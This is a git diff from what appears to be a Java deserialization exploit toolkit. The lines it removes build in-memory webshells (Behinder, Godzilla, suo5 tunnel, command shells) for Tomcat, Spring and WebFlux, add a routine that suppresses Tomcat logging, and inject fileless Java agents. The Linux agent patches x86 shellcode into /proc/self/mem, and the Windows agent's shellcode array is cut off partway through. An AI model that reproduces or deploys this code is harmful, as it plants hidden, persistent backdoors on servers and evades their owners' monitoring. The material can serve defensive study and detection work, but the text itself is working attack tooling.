insertGetFieldValue(ctClass);
insertGetMethodAndInvoke(ctClass);
if (Config.IS_OBSCURE) {
insertGetUnsafe(ctClass);
}
String shell;
if (isTomcat) {
insertTomcatNoLog(ctClass);
shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT;
} else {
shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_OBSCURE : MemShellPayloads.BEHINDER_SHELL;
}
insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD));
} else if ("gz".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";");
insertBase64Decode(ctClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.MD5), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_WEBFLUX));
} else {
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL));
}
} else if ("gzraw".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_SHELL));
} else if ("suo5".equals(type)) {
// 先写入一些需要的基础属性
insertField(ctClass, "gInStream", "java.io.InputStream gInStream;");
insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;");
// 依次写入方法
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_CREATE), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DATA), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DEL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_SET_STREAM), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_STATUS), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_U32_TO_BYTES), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_BYTES_TO_U32), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_MARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_UNMARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_SOCKET), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_TRY_FULL_DUPLEX), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_REQ), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_UNARY), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_BIO), ctClass));
// 为恶意类设置 Runnable 接口以及 RUN 方法
CtClass runnableClass = Config.POOL.get("java.lang.Runnable");
ctClass.addInterface(runnableClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.RUN), ctClass));
// 插入关键方法
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.SUO5.SUO5));
} else {
insertCMD(ctClass);
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_WEBFLUX));
} else if (isTomcat) {
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_TOMCAT));
} else {
insertGetMethodAndInvoke(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL));
}
}
}
/**
* 向指定类中写入命令执行方法 execCmd
* 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
@@ -218,14 +48,6 @@ public class ClassMethodHandler {
}
}
public static void insertBase64Decode(CtClass ctClass) throws Exception {
try {
ctClass.getDeclaredMethod("base64Decode");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_DECODE_STRING_TO_BYTE), ctClass));
}
}
public static void insertGetFieldValue(CtClass ctClass) throws Exception {
try {
ctClass.getDeclaredMethod("getFieldValue");
@@ -260,43 +82,4 @@ public class ClassMethodHandler {
}
}
}
public static void insertTomcatNoLog(CtClass ctClass) throws Exception {
insertGetFieldValue(ctClass);
insertGetMethodAndInvoke(ctClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TOMCAT_NO_LOG), ctClass));
}
/**
* 获取该类的关键方法
*
* @param ctClass CtClass
* @return 返回方法名
* @throws Exception 抛出异常
*/
public static String getMethodName(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
String name = ctClass.getName();
String method = "";
classes.add(ctClass.getSuperclass());
for (CtClass value : classes) {
String className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
method = Config.KEY_METHOD_MAP.get(className);
break;
}
}
if (name.contains("SpringControllerMS")) {
method = "drop";
} else if (name.contains("Struts2ActionMS")) {
method = "executeAction";
}
return method;
}
public static void insertInitHookClassINFORMATION(CtClass ctClass, ArrayList<String> list) throws Exception {
insertMethod(ctClass, "initHookClassINFORMATION", "{HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(0) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(1) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(2) + "\");}");
}
}
@@ -1,9 +1,6 @@
package com.qi4l.JYso.gadgets.utils.handle;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.Config.HookPointConfig;
import com.qi4l.JYso.gadgets.Config.MemShellPayloads;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils;
import javassist.CtClass;
import javassist.bytecode.*;
@@ -25,46 +22,6 @@ public class GlassHandler {
public static CtClass generateClass(String target, String newClassName) throws Exception {
if (target.startsWith("EX-")) {
target = target.substring(3);
// 内存马类型
String shellType = "";
String memShellName;
Class<?> memShellClazz;
// 如果命令以 MS 开头,则代表是注入内存马
if (target.startsWith("MS-")) {
target = target.substring(3);
if (target.contains("-")) {
String[] commands = target.split("-");
memShellName = commands[0];
shellType = target.substring(target.indexOf("-") + 1);
} else {
memShellName = target;
shellType = "cmd";
}
} else if (target.startsWith("Agent")) {
// 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入
// EX-Agent-Lin/Win-Servlet-bx
String[] commands = target.split("-");
return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : "");
} else {
// 否则是回显类,或者其他功能
memShellName = target;
}
String result = ClassNameHandler.searchClassByName(memShellName);
if (result != null) {
memShellClazz = Class.forName(result, false, Gadgets.class.getClassLoader());
} else {
throw new IllegalArgumentException("Input Error,Please Check Your MemShell Name!");
}
return generateClass(memShellClazz, shellType, newClassName);
}
// 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名
if (target.startsWith("LF-")) {
target = target.substring(3);
@@ -90,27 +47,12 @@ public class GlassHandler {
String exClassName = clazz.getName();
ctClass = Config.POOL.get(exClassName);
// 为 Echo 类添加 CMD_HEADER_STRING
ClassFieldHandler.insertFieldIfExists(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + ClassFieldHandler.converString(Config.CMD_HEADER_STRING) + ";");
// 为 DefineClassFromParameter 添加自定义函数功能
ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";");
// 为内存马添加名称
ClassFieldHandler.insertFieldIfExists(ctClass, "NAME", "public static String NAME=" + ClassFieldHandler.converString(ClassNameHandler.getHumanName(newClassName, "Filter")) + ";");
// 为内存马添加地址
ClassFieldHandler.insertFieldIfExists(ctClass, "pattern", "public static String pattern = " + ClassFieldHandler.converString(Config.URL_PATTERN) + ";");
// 根据不同的内存马类型,插入不同的方法、属性
ClassMethodHandler.insertKeyMethodByClassName(ctClass, exClassName, shellType);
// 为类设置新的类名
ctClass.setName(newClassName);
// 为 Struts2ActionMS 额外处理,防止框架找不到的情况
ClassFieldHandler.insertFieldIfExists(ctClass, "thisClass", "public static String thisClass = \"" + Utils.base64Encode(ctClass.toBytecode()) + "\";");
shrinkBytes(ctClass);
byteCodes = ctClass.toBytecode();
@@ -136,95 +78,6 @@ public class GlassHandler {
}
public static CtClass generateAgentClass(String osType, String hookType, String args) throws Exception {
CtClass agent = Config.POOL.get(ClassNameHandler.searchClassByName("AgentLoaderTemplate"));
// 准备 SuURLConnection/SuURLStreamHandler/Javassist Jar 包
prepareMemoryJar(agent);
// 根据选定的不同操作系统类型,准备不同的的 AgentNoFile 类
String agentNoFileName = osType.equals("win") ? "AgentNoFileForWindows" : "AgentNoFileForLinux";
prepareAgentNoFile(agentNoFileName, agent);
// 准备要 Hook 的类名、方法、内容
prepareClassModifier(agent, hookType, args);
agent.setName(ClassNameHandler.generateClassName());
// 保存
Utils.saveCtClassToFile(agent);
return agent;
}
public static void prepareMemoryJar(CtClass templateClass) throws Exception {
// 首先将 SuURLConnection/SuURLStreamHandler 改名
final String nameA = ClassNameHandler.searchClassByName("SuURLConnection");
final String newNameA = ClassNameHandler.generateClassName();
final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler");
final String newNameB = ClassNameHandler.generateClassName();
CtClass ctClassA = Config.POOL.get(nameA);
ctClassA.setName(newNameA);
CtClass ctClassB = Config.POOL.get(nameB);
ctClassB.setName(newNameB);
ClassFieldHandler.insertField(ctClassA, "STREAM_HANDLER_CLASSNAME", "public static String STREAM_HANDLER_CLASSNAME = \"" + newNameB + "\";");
ClassFieldHandler.insertField(ctClassB, "URL_CONNECTION_CLASSNAME", "public static String URL_CONNECTION_CLASSNAME = \"" + newNameA + "\";");
shrinkBytes(ctClassA);
shrinkBytes(ctClassB);
ClassFieldHandler.insertField(templateClass, "SU_URL_CONNECTION_BYTES", "public static String SU_URL_CONNECTION_BYTES = \"" + Utils.base64Encode(ctClassA.toBytecode()) + "\";");
ClassFieldHandler.insertField(templateClass, "SU_URL_STREAM_HANDLER_BYTES", "public static String SU_URL_STREAM_HANDLER_BYTES = \"" + Utils.base64Encode(ctClassB.toBytecode()) + "\";");
}
public static void prepareAgentNoFile(String className, CtClass templateClass) throws Exception {
CtClass agentNoFile = Config.POOL.get(ClassNameHandler.searchClassByName(className));
shrinkBytes(agentNoFile);
agentNoFile.setName(ClassNameHandler.generateClassName());
ClassFieldHandler.insertField(templateClass, "AGENT_NO_FILE_BYTES", "public static String AGENT_NO_FILE_BYTES = \"" + Utils.base64Encode(agentNoFile.toBytecode()) + "\";");
}
public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception {
CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier"));
String shell;
// 插入 Hook 点
if (hookType.equals("Servlet")) {
// 插入 Hook Class 基本信息
ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.BasicServletHook);
} else if (hookType.equals("Filter")) {
ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.TomcatFilterChainHook);
}
// 如果是冰蝎逻辑
switch (args) {
case "bx":
shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT);
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD);
break;
case "gz":
shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT);
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY);
break;
case "gzraw":
shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT);
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY);
break;
default:
// 默认 cmd 逻辑
shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT);
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING);
break;
}
// 替换密码,添加 Shell Code
ClassFieldHandler.insertField(classModifier, "HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";");
shrinkBytes(classModifier);
classModifier.setName(ClassNameHandler.generateClassName());
ClassFieldHandler.insertField(templateClass, "CLASS_MODIFIER_BYTES", "public static String CLASS_MODIFIER_BYTES = \"" + Utils.base64Encode(classModifier.toBytecode()) + "\";");
}
// 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小
public static void shrinkBytes(CtClass ctClass) {
ClassFile classFile = ctClass.getClassFile2();
File diff suppressed because one or more lines are too long
@@ -1,259 +0,0 @@
package com.qi4l.JYso.template.Agent;
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class AgentNoFileForLinux {
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC = 2;
private static final int STT_GNU_IFUNC = 10;
public static Unsafe unsafe = getUnsafe();
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
public static sun.misc.Unsafe getUnsafe() {
sun.misc.Unsafe unsafe = null;
try {
if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) {
unsafe = sun.misc.Unsafe.getUnsafe();
}
} catch (ClassNotFoundException ignored) {
}
if (unsafe == null) {
try {
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception ignored) {
}
}
if (unsafe == null) {
try {
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception ignored) {
}
}
if (unsafe == null) {
try {
java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
unsafe = (sun.misc.Unsafe) theUnsafeField.get(null);
} catch (Exception ignored) {
}
}
return unsafe;
}
public static void redefineClasses(String className, byte[] classBody) throws Exception {
// Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
// Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
// field1.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
// field1.setBoolean(null, true);
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null) {
String[] splits = line.trim().split(" ");
if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
} else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16字节对齐
byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3};
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length(); //触发执行
// System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
//恢复代码
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
redefineClasses(className, classBody, JPLISAgent);
fout.getFD();
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for (int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i * 64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if (sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0;
for (long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if (st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) {
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while ((ch = fin.readByte()) != 0) {
name += (char) ch;
}
if (sym.equals(name)) {
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) {
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class});
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});
} catch (Throwable error) {
error.printStackTrace();
}
}
}
@@ -1,151 +0,0 @@
package com.qi4l.JYso.template.Agent;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
public class AgentNoFileForWindows {
public static Map<String, byte[]> MAP = new HashMap<String, byte[]>();
// public static int pointerLength = Long.SIZE / Byte.SIZE;
public static int pointerLength = System.getProperty("os.arch").contains("x86") ? 4 : 8;
public static Unsafe unsafe = getUnsafe();
public static sun.misc.Unsafe getUnsafe() {
sun.misc.Unsafe unsafe = null;
try {
if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) {
unsafe = sun.misc.Unsafe.getUnsafe();
}
} catch (ClassNotFoundException ignored) {
}
if (unsafe == null) {
try {
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception ignored) {
}
}
if (unsafe == null) {
try {
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception ignored) {
}
}
if (unsafe == null) {
try {
java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
unsafe = (sun.misc.Unsafe) theUnsafeField.get(null);
} catch (Exception ignored) {
}
}
return unsafe;
}
public static void redefineClasses(String className, byte[] classBody) throws Exception {
Class<?> cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field1.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
field1.setBoolean(null, true);
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, 